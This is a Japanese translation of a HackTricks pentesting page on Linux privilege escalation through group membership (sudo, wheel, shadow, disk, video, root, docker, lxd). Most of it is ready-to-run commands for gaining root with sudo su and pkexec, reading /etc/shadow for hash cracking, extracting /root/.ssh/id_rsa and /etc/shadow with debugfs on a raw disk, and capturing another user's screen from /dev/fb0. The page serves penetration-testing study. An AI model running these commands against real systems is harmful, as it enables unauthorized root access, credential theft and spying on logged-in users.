hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md

9.2 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェックしてください!

HackTricksをサポートする他の方法:

Sudo/Adminグループ

PE - 方法 1

時々デフォルトで(またはあるソフトウェアが必要とするために) /etc/sudoers ファイル内に以下のような行が見つかることがあります:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

これは、sudo グループまたは admin グループに属する任意のユーザーが、sudo として何でも実行できることを意味します。

この場合、root になるには、次のコマンドを実行するだけです

sudo su

PE - 方法 2

すべてのsuidバイナリを見つけ、Pkexecバイナリがあるか確認します:

find / -perm -4000 2>/dev/null
もしバイナリpkexecがSUIDバイナリであり、あなたがsudoまたはadminグループに属している場合、pkexecを使用してsudoとしてバイナリを実行できる可能性があります。
以下の内容を確認してください:
cat /etc/polkit-1/localauthority.conf.d/*
以下に、どのグループが**pkexec**を実行できるか、また**デフォルトでは**一部のLinuxでは**sudoまたはadmin**グループが**表示される**ことがあります。

**rootになるには以下を実行します**:
pkexec "/bin/sh" #You will be prompted for your user password

実行しようとしたときにpkexecがこのエラーを出した場合:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

権限がないからではなく、GUIなしで接続していないからです。この問題に対する回避策はこちらにあります: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-3353509032つの異なるsshセッションが必要です:

{% code title="session1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% endcode %}

{% code title="session2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Wheel Group

時々デフォルトで /etc/sudoers ファイル内にこの行が見つかることがあります:

%wheel	ALL=(ALL:ALL) ALL

これは、wheel グループに属する任意のユーザーが sudo として何でも実行できることを意味します。

この場合、root になるためには次のコマンドを実行するだけです

sudo su

Shadow グループ

group shadow に属するユーザーは /etc/shadow ファイルを読むことができます:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

ファイルを読んで、ハッシュをクラックしてみてください。

Disk Group

この権限は、マシン内のすべてのデータにアクセスできるため、ほぼrootアクセスと同等です

ファイル:/dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
debugfsを使用すると、**ファイルを書き込む**こともできます。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、以下のようにします:
debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt
しかし、**rootが所有するファイルに書き込もうとする** \(例えば `/etc/shadow` や `/etc/passwd`\) と "**Permission denied**" エラーが表示されます。

# Video Group

`w` コマンドを使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます:
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1は、ユーザーyossiが物理的にマシンの端末にログインしていることを意味します。

videoグループは画面出力を見る権限があります。基本的には画面を観察することができます。それを行うには、画面上の現在の画像を生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0に保存でき、この画面の解像度は/sys/class/graphics/fb0/virtual_sizeで見つけることができます。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

raw画像開くには、GIMPを使用し、screen.rawファイルを選択し、ファイルタイプとしてRaw image dataを選択します:

次に、画面で使用されている幅と高さを変更し、異なる画像タイプを確認します(画面をより良く表示するものを選択します):

Root Group

デフォルトでは、rootグループのメンバーは、サービスの設定ファイルやいくつかのライブラリファイル、または他の興味深いもの変更できる可能性があるようです。これらは権限の昇格に使用できるかもしれません...

rootメンバーが変更できるファイルを確認してください

find / -group root -perm -g=w 2>/dev/null

Docker グループ

ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。そのため、インスタンスが起動するとすぐにそのボリュームに chroot をロードします。これにより、実質的にマシンの root 権限を得ることができます。

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

lxc/lxd グループ

lxc - 権限昇格

AWS ハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricks をサポートする他の方法: